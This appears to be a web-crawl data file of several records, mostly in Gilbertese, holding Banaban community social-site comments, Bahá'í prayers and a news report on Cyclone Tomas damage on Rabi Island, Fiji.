ae e nang bati ni kaberoro n te auti ao keee ngake ti arangi ni miss nei Naomi are teubu ni kaebu ai akea raon ten Toa n unun hahaha\nHi, (Lady) Gaga, I'm fine thank u, which part of the world are u in. Isa, life changes n go on. I'm in Rabi for ur kind information, struggling with my spiritual life. I'm very weak with my prayer life n need help. Would u remember me in your prayers, please.\nTia boo boo moa ao e tekeraoi te waeki\nNingai manga mwanangam nako Iraq...ha..ha.. e tuai man toki am rerebaua? Ko mena ia ngkai i Tarawa ke NZ? Koa tia ni kaitibo ke ni kakarabakau ma Tientaake maa? Ngaia aikana amena naba ikanne ma iaki ata raroan aia tabo ma am tabo ane ko mena iai.\nhahaha ai rarabara naba ai tiba ngkoe au aunty ae kotaekina ae inang boboto ibuokoia tariu ni bane ao i bon kakoauako ba bon akea iaou riki te boboto hahaha..\ntekeraoi naba ngkami nami kainaomata\nmoce!\nMauri naba aunty gkai e raraba ba saunimane enang marurug ao a marurug naba kain ara auti,ao euara atainanein ami auti aikane?Iuti ma koae ma, a bon kakawakinia aineia ke aki hahaha...tekeraoi te beku ikane\nmoce!\nSa yawa you look young day by day .Anyway thanks for accepting the invitation ,mum and the family are well thank you.Oh yea i heard that you were at New Zealand if i correct a month or couple of mnth ago.Rite now i'm wit Willie and the family hia in NZ just spending ma A\/L next week will be ma last week and then return to FIJI mehn for work again.\nRegads to the family and loloma to all\nlol!!!!!!!!!\nHey..hey...ni sa bula ree..!! Kam uara moa sorry ba ea tiba reke au tai internet ba ia nang tabe2 ao ngkai ea tiba reke au tai so sori kee....ma e uara moa Nei Mimin. Ti nang maiu ni mataku n ami Easter ao tia bon maiu nanora n norii ana kai ni maiee tibura anne...Neiko ai bon antai ana kai....hahahaha..neiko e bon maiu te nano ao ai moara riki ti nang kukurei ba e nang well Mimin ao hoping goes 4 u 2.\nWe all well ao plus Tuiti ao are Rotiita ea reirei i Fiji @ Mahatma Gandhi Primary are i bon Rifle range.\nNgaira ti mena ngkai i Temaiku ao raora Wendt ba e rereirei ma Teitebon...e uara anne.\nE tau ma tekeraoi ao God bless us all...kiss Mimin ibukira kee ma ai moara riki ibukin Tuiti\nMauri Nei Kaka. Ko uara ngkai ao e uara raon Kiatoa ane Nei Minmin. hahahahaha E uara te maitoro ikanne. Kam rangi ni fafanto n tamneimi ao koa angan naba tariu ane Nei Koke au kamauri. Tekeraoi te online kee ao koa manga reitia mai ikanne\nhaeua lst nit i skype ma kain te auti ao mum i suaga ae ko mena napa ikai e taku?eag?ko aki kapaka kantokau pana nakoac?akea ae tangiria pae ena roko ea kaposu kateina ea?kam uara maikane?luv n regards 2 evryone","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1n0fhn9kwhm8s","date":"2019-11-21T13:27:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670821.55\/warc\/CC-MAIN-20191121125509-20191121153509-00433.warc.gz","language":"gil","language_score":0.9978624582,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9978624582290649}","num_words":803,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atonga: Mimitong Nakoim Are Ko a tia ni karikiia Naake a Tabu bwa a na kaotii aia aki konabwai i matan kaotioti aika uauaanao ni Korakoram, ao ni katoai Burabeti nako bwa A na ataia bwa bon Akea aroia i rarikin raneanean otanakon Mimitongim ae akea tokin mimitongina. I bubutiko, n Aram ae e a tia ni kabwaranakoi mataroan Karawa ao ni kaonrakeia kaain te Runga ni karawa ma te kukurei ae e bati, bwa Nna kona ni beku Ibukim, n te Bong aei, ao ni kakorakoraai bwa Nna karaoa nanon are Ko a tia ni baireia inanon Am Boki. Ko bon ataia, Au Uea, bwa tera ae e mena i nanou; ma Ngai I aki kona n ataa are e mena i Nanom. Ngkoe ni koaua te Kabanea n Ataibwai, te Atai Bwaai nako.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190202030","date":"2019-11-20T20:46:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670601.75\/warc\/CC-MAIN-20191120185646-20191120213646-00250.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":135,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN TE KAINNANO!\nAnga taningam nakon aei: E bon aki kona te mata n rabwata ni kina te tamaroa ae akea tokina, ke te nano ae mate bwa e na kukurei n te aakea ma ti ni ue aika a rai. Bwa are aekakina e bon ukoukora are aekana, ao ni kukurei ni botaki ake bon aekakina.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403110","date":"2019-11-12T14:41:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665573.50\/warc\/CC-MAIN-20191112124615-20191112152615-00122.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI AIKA TARA N TAMAROA MA NANOMI A BON BAAREKA!\nNgkami bon ai aron te ran ae e itiaki taraana ma e bon kamangiingi, are n aron taraakina bon te kurititaro ae e itiaki, ma ngkana e kataaki n te Bwai n tutuo n tamnei, bon akea timmna ae kariaiakaki. Eng, e bakarere ootan taai i aon te bubuntano ao te tirotaam, e ngae ngke e kakaokoro raweana irouia n aron naba te itoi ma te aonaaba: ma bon tiaki, e aki konaa ni baaireaki te kaokoro.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403260","date":"2019-11-12T14:42:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665573.50\/warc\/CC-MAIN-20191112124615-20191112152615-00118.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":88,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE AU TORO!\nAomata ake a kabua karineaia bon naake akea uaan maiuia n te aonaaba n rabwata. Aeka n aomata akanne are a riai ni warekaki i buakoia ake a mate, ma a raoiroi riki ake a mate i matan Te Atua nakoia aomata ake a taningaroti ao akea uaaia.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403820","date":"2019-11-12T14:40:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665573.50\/warc\/CC-MAIN-20191112124615-20191112152615-00160.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":52,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"butikau ko kanganga ae a mate am roro ao bon matoa naba ma e ngae n anne ko aaki anganga raea nanom ba kanga ai aron ngai koa riki ba te manna te banna ke te katoto ke te idol nakon te roro n rabi ni bong n taai aikai ko raba tao ia toki moa ikai\nGoog to hear ae koa roko nte USP!! ngaia anne kaiakina te reirei, ko mena irouian antai?? ngaira ti mena i Naboro ngkna ko roko n ara side koa nako nte auti ngkna e reke rokom. Ti temanna natiu teaine ok tekeraoi te reirei ti bo moa","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/profile\/show?id=PhilipCorrie","date":"2019-11-14T12:15:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668416.11\/warc\/CC-MAIN-20191114104329-20191114132329-00085.warc.gz","language":"gil","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000035762786865}","num_words":104,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri gke te unimwane,shshs ea bon roko te kara kee\nea rang maan te tai ni mainako ao gaia i ongo iroun nei aunty moata ae koa iein kee\ne tau tekeraoi naba te katei utu,ao regards nakon setoa ao tenamoiti.\nmauri mai banaba moa mai iroun tinam aio, Moata ao tamami ae Makin.\nkouara ma raom anne? ngkana kam kanreitaki ma gaira are kama ataa ara tabo aei... e tau tetekeraoi riki gkami mai ikanne tia maga bn ogogora mai iroumi n reken mawami. tia boo moa...\nHey christer !!!\nMauri ko uara??isa long time ti tuai kaitibo ker,boso ngkai ko mena ia?isa koa agania naba kain am auti au kamauri..bro koa maga reitia ma ikane ngkana iai...ao tau tekeraoi moa te waki ikane..\nMoe!","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/ChristerTianoaTeremita","date":"2019-11-14T12:21:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668416.11\/warc\/CC-MAIN-20191114104329-20191114132329-00145.warc.gz","language":"gil","language_score":0.9982516766,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9982516765594482}","num_words":125,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko rarabwa n am comment ao ti rangi ni marurung raoi naba ma ikai. E na kanga tao tia bon kaina moa Beru bwa are ti tatania kaaina. Ti katautaua te motirawa i Rabi this coming xmas and new year ngkana e nakoraoi te babaire.\nAo ngkami kam uara ikanne? Bon ara kantaninga naba bwa kam marurung naba ikanne ma ami koraki.\nTe katekeraoi ao te kakamauri ma ikai n nakoati ao te kantaninga bwa tia manga kaitiboaki inanon te maiu ao te marurung.\nRegards to your dad but the mostly one to mum hahaha anyway how's your result?? coming over to Fiji???? for further study have a nice day and take care of yourself\/ Love Uncle Robuam, inform your dad I will be there on the 18th March and coming back on the 30th of March ti bo moa ao koa manga reitia mai ikanne\nMauri naba. E rabwa bwa ea manga reke te reitaki nte tai aio. Ti bon rangi ni marurung ma natira ao next time N na send aia photo nakoim. I a karokoa am kamauri nakoia kain te Port Camp. Ai bon te kamauri naba nakoim ma kain am auti ni kabane ao ai bon ara katekeraoi nakoimi ni bane nte Xmas ao te New Year ae e nang roko aei. Au email Address: firstname.lastname@example.org. Ngkana iai am email address, ko kona naba ni kanakoa nakoiu bwa I aonga n ataia.\nMooti just to inform you that I've just came back from Kiribati few weeks back I arrived on the 19th Nov. stayed at Otintaai Hotel came back to Fiji on the 3rd Dec. Keiakina am reirei bwa ngaia kabaiam bon te kamauri nakon Taman ao e moamoa riki nakon tinam tekeraoi ao ti bo moa \/ Uncle\nMauri naba Mooti kai ko eti raoi am kan rena bwa ngai am uncle are i bon mena naba ikanne ao ngkai moa ae ti a mena ikai ngkai e reirei Batiwate ao e koaua bwa ti a miss te botaki n utu ikanne ma e raoiroi bwa ngkana ti oki ao ti a kamataoa naba bukin Takoto kee....ehehehehehehehehe......e tau angan Dad & Mom ara inga ma ikai, vanuatu, ao ngkai ti a mena i biti n te motirawa aei ao ko a kaongoia naba am karo bwa n 12\/12\/2009 e nang mare Nei Riire are natin Taara ma Burannang are te kateniman n aine, ma kakia are natin Faingata ma Nei Tebuaa ae te Mitinare n te kamatu ikai\nauesa te tteinaine aei...........gaia kam mena naba ikai kerr.............ao auara kain am auc .................ai e uara tamam ??????????????e tau toki mamaran buroona .......................ahahhaahah..............ao e aura te rei2...........ah.......ea roko ni kaugana kerr.............\nMooti am name sake e nang aoraki ea tiba otinako man te teonaoraki e bon nako mai mai Rabi Anna ngkai 76yrs auara kain ami auit koa angania ara kamauri tuanga dad I will there 3 wks time ti bo moa\nUncle\nMooti mauri ko uara ??? I taku bwa kam bon marurung raoi n ami tabo anne Ia tia n reretaki ma am karo Ngaira ti bon maeka i Suva n tai tabetai ao i roroko ikanne ni makuri E bon ataia Boka ngkai koa form i raua nte reirei keiakina te reirei ngkna iai rokom i Suva koa karekea am taai raun nakoira i Naboro tia boo moa","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/MootiiBokarawaKaake","date":"2019-11-12T19:33:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665726.39\/warc\/CC-MAIN-20191112175604-20191112203604-00108.warc.gz","language":"gil","language_score":0.9999088049,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9999088048934937}","num_words":549,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nSad to note that Tebaruru Baoa and Tuateira Burataake passed away on Saturday. These two have serve the Banaban people for eight years in council. Sadly missed by their families and friends.\nAdded by Tokanikai Kirata on July 19, 2010 at 6:47am — No Comments\nA tia ni weteaki man te maiu aio: Niki Ben, Nei Seata Tumairang ao Nei Tekinoa Ioaba. Niki e kabaea roroana, Nei Seata e ituaki n te breast cancer ao Nei Tekinoa e bon marurung ao ngke e amarake ma tibuna ao ea buburake naba ao ea moti naba ikena ngke bong.\nAdded by Tokanikai Kirata on July 12, 2010 at 2:34pm — No Comments\nKam na mauri!\nTia nanokawaki ni katanoata ikai ba ea motirawa man te maiu aei Nei Seata Tumairang i Kioa ngke e karangaina. Nei Seata e bon ituaki n te breast cancer inanon te tai ae maan ao ai te tai aio are ea weteaki iai man te maiu aio. Ena karaoaki matena i Kioa nakon ana rongorngo natina ae Kareo ao ena taunaki naba i Kioa.\nAdded by Tokanikai Kirata on July 10, 2010 at 12:28pm — No Comments","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blog\/list?user=3ltw8kuk4ruif","date":"2019-11-18T08:41:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669730.38\/warc\/CC-MAIN-20191118080848-20191118104848-00390.warc.gz","language":"gil","language_score":0.9985501766,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9985501766204834}","num_words":189,"character_repetition_ratio":0.089,"word_repetition_ratio":0.011,"special_characters_ratio":0.237,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkna a reke au tamnei ibukin Bou ao ia send over bwa kam na noria!!! I tataninga ngkai Tomasi bwa ngaia ae rawe tamnei nte mate... ia tia ni butia bwa i kan mataku naba iai... E uara mom??.. i taku bwa ea marurung..\nEng Bou e bon roko nte auti 3 times a bon roko nte auti ao te anene ae a karaoia ma Nei Teiratu ao Tebeaningare.. ao ngai i tabe ni kukana kanaia.. ngke a kitanai ao a nako rabi e bon tareboniai Bou bwa a bon roko nte auti i Tabiang ti bon kakaraki ao ti ngare.. ao nte ingabong ao ea uotaki nakon te onaoraki... ao ikanne ea motirawa iai... e nang kawa bwa ia ururingnga iai..i bon karaoa au taoatama nte auti bon ti ngai...ao e bon rotai te nanokawaki.. ma e nang kanga te aba nte maiu aei... regards to mom ao tavale.. tibo moa\nKoa tuanga tinam anne bwa tera ana colour nte karai.. bwa n naki biiri ni baba iai nna kataia ni karekei imain nakoatiu... E uara tavale e bon marururng naba??.. koa anganna au kamauri. E nga ngka Nei katoto???.. koa kaongoa bwa ia karekei ana ngake ngkna i nakoati. ok E uara naba Nei Turkey??? bon te kamauri naba nakoia ma natina.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/PevineTebauMunatonu","date":"2019-11-15T00:45:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668544.32\/warc\/CC-MAIN-20191114232502-20191115020502-00397.warc.gz","language":"gil","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000046491622925}","num_words":213,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taan kauamaea boiararan nako te Atua a kona n atonga te tataro aei ni katoa ingabong:\nO te Atua, Atuau! Ko nora te mamara aei e bubuti ibukin te kakorakora ni karawa, te kainnano aei e bwarua kaubwain nako Am karawa, te takaroro aei e korakai nanona nakon mwanibwan te maiu ae akea tokina, te ikuaki aei, e ririkanaa Am berita ni kamarurung rinanon Am nanoanga ae akea tiana are Ko a tia ni motikia ibukia Am toro ake Ko rineiai inanon Am abanuea are ieta.\nO te Uea! Bon akea te tia buokai ma bon tii Ngkoe, bon akea umwau Irarikim, ao akea te tia kanuaai ma bon tii Ngkoe.\nO au Uea! Kariaiaai bwa Nna kamwawaaki man bwaai nako ma tii Ngkoe, n taua ni kamatoa rabin Am kakabwaia, ni babanennano raoi nakon Am Aro, n tiku ni matoa ao n teimatoa inanon Am tangira ao ni ira raoi are Ko a tia ni koreia inanon Am Boki.\nNi koaua, bon Ngkoe te Mwaaka, te Korakora, Akea Tian Mwakana.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60220170&to=gil","date":"2019-11-18T02:39:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669422.96\/warc\/CC-MAIN-20191118002911-20191118030911-00083.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":171,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMNEI O!\nE ukoukora ngaona te mannikiba; naitengkaren tamaroan te rooti; ao mannikiba akekei, nanoia aomata, a kakanoa ma bubuntano aika a taonnako, a bon tia ni kararoaiia man ngaoia aika akea tokiia, ao a rairi mataia nakon matoatoan te aki tatabeakin are a kamwawaaki ni mimitongin te kaaniaki n tamnei. Ngaia are! Ai kaminora ma ni kanokaawaki; bwa te mwangko ae e on n akea nanona, a bon tia n rairaki nako man naon marawan te Kabanea n Rietaata, ao n tiku n raroa man te oraitan ae raneanea.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403030","date":"2019-11-12T14:39:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665573.50\/warc\/CC-MAIN-20191112124615-20191112152615-00343.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":92,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri natiu ao tariu ae a riao btonainem. i taku ba i nora te super model temanna, ma gaia tiaki ba bon nei baniko ke tao bawai. ko ragin boboto ni katotogia am karo ake i nikunau ma nna ana am bure irouia ke??? kabanea arom neiko ao bon akea waeam naba teutana, aq bon tekenaki baike bou2 ma akka ke? merry xmas tu an god bless! ana kiss natim are nei naomi nakoim. ti a boo moa tariu ao i a maga ogora iroum ke. mamrosi.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/banikoteaiakikokeaki","date":"2019-11-18T09:00:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669730.38\/warc\/CC-MAIN-20191118080848-20191118104848-00479.warc.gz","language":"gil","language_score":0.9996036887,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9996036887168884}","num_words":87,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nBiara Touakin reporting direct from Rabi, Fiji\nKam na mauri ara koraki,\nBon te kamauri mai Rambi imwiin te ang are e ururu iaon abara aio.\nI taku ba kama bon tia n nori tamnei man ongo rongorongo ibukin abara aio mwiin ana ururu te ang TC Tomas n te Moanibong ao te Kauabong 15th ao 16th n te namakaina aei.\nE bon rangin korakora aron ana ururu nakon taian auti ao riki nakon taian kaina-n-amarake n aron te nii, te mai, te tabioka ao a maiti riki. Ikai naba are e kabuanibai iai maiun te rorobuaka ae Tutaake Tebeke n ana auti i Rakentai ba e bakaraki n te nii ao kakaiaki ikoakina are ea kabuanibai iai maiuna. E kaiaki rabatana i Tabiang ao a manga roko Bureitiman (Fiji Police) ma te Taokita mai Labasa ao a manga kena ruana ao a manga karaoa aia ukeuke iaon Tutaake. A karaoa naba aia ukeuke irarikin ruana ni mate ao a manga tauna naba ngke e bane aia makuri.\nTeuana te wiki imwiin te ang ao a bon toki raoi iai korakoran taian uaanikai ake a baka n tain te ang ao te aomata ea moanna ni kaitara ma te kabuanibai n akean te amarake e korakora riki irouiia ake aki makuri. Taian nangkona iaon Rambi a bon bane naba n uruaki. E bon rangin maiti te rou nangkona ngkai ae karaoaki ikai ba ena aki taonaba mwiin korakoraia taan uniki. I reitaki ma te Chairman Bauro ngkoananoa ao e taekinna ba ena bon kabanea naba korakorana n biriakina aron kaboakin taian nangkona aikai.\nTaan ununiki aikai ana bon kainanoa naba ami ibuobuoki ngkana kam tangiri nimami nangkona ao kam kona ni kanakomaia ami mane nakoia ami koraki aika a ununiki nangkona ba a kona ni kanakoatia nimami n te courier service ngkai ae e tauraoi i Rambi ae te EMS Courier [Post Fiji Ltd]. Aio are ena bon buokiia naba kaain abami aika a uruaki arokaia n te tai aei. Kam kona ni kanakomaia ami home address ibukin ami order nakoiu ma kam na bon kanakoa aia mane nakoia.\nN te Katenibong 24\/3 ae nako ao a tia n roko Tautia ma Bureitiman ao a nikiri bauna n amarake aika: Te Raiti, Te Burawa, Te Tioka, Te Dahl ao te nenea are ana maiu iai aomata inanon uoua te wiiki ao a nori naba auti ake a uruaki. Te tibatiba iaon Tabwewa bon kaka 800g te burawa, te raiti ao te tioka ao 1kg dahl ao 500ml te nenea. Aio ena bon aki ooa 2 te wiiki. E bane aia makuri ikai n te Kaabong 25\/3.\nN te Kanimabong ao a roko kaain te Red Cross ao a uoti naba taian buoka nakoia ake a bon uruaki raoi aia auti n aron taian baati ma bai-n-amarake, taian rabuna ma taboreen ao taian kaonteina ibukin nen te ran. A kitana naba ikai n te Kanimabong 26\/3.\nAo ibuakon te kanganga aei ao e bakanaki Jacob Teaeki n ana auti Iakobo ma Nei Bure i Tabwewa Meang n ngkoananoa Te Kanimabong 26\/3 n koron ana ka-teuana n ririki. Aio bon natia Teaeki Iakobo ma Nei Tikameri Amota.\nAo aikai moa aika reke mai Rambi n te tai aio.\nTekeraoi\nViews: 68\nComment","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/latest-news-update-rabi","date":"2019-11-14T11:23:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668416.11\/warc\/CC-MAIN-20191114104329-20191114132329-00307.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":542,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE AU TORO!\nNgkami kain Au onaroka, kam riai kaotinakoi uaa aika tamaroa ma n tikaua, bwa kam aonga ngkami ao ake tabeman ni mauto mai iai. Ngaia are bon te tabe iroumi ni kabane bwa a na iai ami mwakuri ao te nakoa, bwa e wene iai karaban te kaubwai. O ngkami aomatan te atatai! Bwa kanoan mwiina e bon katan i aon aanga nako, ao Ana raoiroi Te Atua e na bon nakoraoi nakoimi. Kaai ake aki kanoabo a bon kaman tau i bukin te ai.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=40503810&to=gil","date":"2019-11-21T20:35:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670948.64\/warc\/CC-MAIN-20191121180800-20191121204800-00332.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":89,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TANGIRA O!\nAi bon ti teuana te rangata raroam man rietaata ake a mimitong i eta ao man te kai ni karawa n tangira. Tabeka am rangata teuana ao waakim are i mwiina bon nakon te abanuea ae akea rabwatana ao riin ni umwan te aki tootoki. Anga taningam ngkanne nakon are e a tia ni karuoaki iroun kainikorobokin te mimitong.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60403080&to=gil","date":"2019-11-14T07:29:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668004.65\/warc\/CC-MAIN-20191114053752-20191114081752-00460.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":63,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I'm Tamtam's youngest daughter. Nei Kamawa ana wife (aka Mum ahaha). The eldest of us is Luisa, then Motu ao James (Raki) and then me.\nWe are all with children now so i thought its very important to connect back to the family so our kids know who they are, where they belong to their families.\ni'm so grateful for your note and happy to know that you're also family.\nnow that i'm writing i don't have much time but i will definately get in touch again. i hope to be able to put up some photos for all the family back there to see. Tamtam - we call him Papa Sam (samson) now. He's doing well and so is mum. They're very happy couple nowadays. we are happy. i hope to write again to you very soon hopefully i've got photos. thank you so much for your reply. i'll put the pieces of the family members to the family tree soon. thank you and God bless you and your family. Talk to you again very soon - love Tina\nne ti bon bane ni marurung raoi..mai ikai ..ao gkami a uara ataei?\nne ai kawara naba Reone i taku gai ba nna maga ongora mai irouna ma gaia tiaki raraon te aba..e bon nag kananowaki ke...??God b wth her famli ao natina...ai bon aron te maiu aei..\nne aika atia ni mate tan latest..Semi are natin Pate ma Beibei. Are are maneiia nei Kabua ma.. Tiaotin are natin nei Mirii are makuri nte RCL enako ni katebe ao eaki naba oki..ea tia naba te kakai ao bon ti anabai ntebo ae reke..bon ti 1 natina ma buuna are natin Tebaruru Baoa.. ao are a manga raure ba neirei ea managa ien ma Jackson are aongkoa ara spare -part mai iroun nei Tefolou...hahhaha\ntao ti gaiia anne...\nRegadz toev1der incldin Kouratoka ao Tekareke ma Watati n Meia...kiss da kids 4 ue n Betarim 4m...heheheh\nHello dearest Ruru!!\nI hope you and the family are all well. I have been looking through images from my trip last year and desperately need to send you photographs. Could you email me your address so I can mail a CD to you. (email@example.com) Sending my love to the kids.\nLove\nNiki x x x\nhi ruru! kam uara? ti nanokawaki n ogo rogo2n betarim, ma e rarawa riki te uea, bwa gaia e a reke gkai te maru2g irouna. tekeraoi teuane, ao ke e mena irouna te uea!, ao ane e na bon aganaki te maiu ma te maru2g iroun teuare ana bwai bwai. tekeraoi ami kainaomata gkami, ao ami bwai temauri teraoi ao te tabomoa iaomi ni bane. ruru pliz kawakina raoi natiu ane wendt. ko rabwa. loloma levu to u all!\nruru e rabwa am comment ao i rag ku2rei ni maga ogora ma iroum, ao n ogo bwa kam bane ni maru2g raoi ma kain ami auti. gaira ikai ti bane n ok naba ma kain ara auti ni bane aika teaiaki an koky ma natia. hugs an kisses to u all ma e a bon moa2 riki ana kiss mimin nakoimi ni bane. ao au kiss naba nakkon natiu are te koro anne, 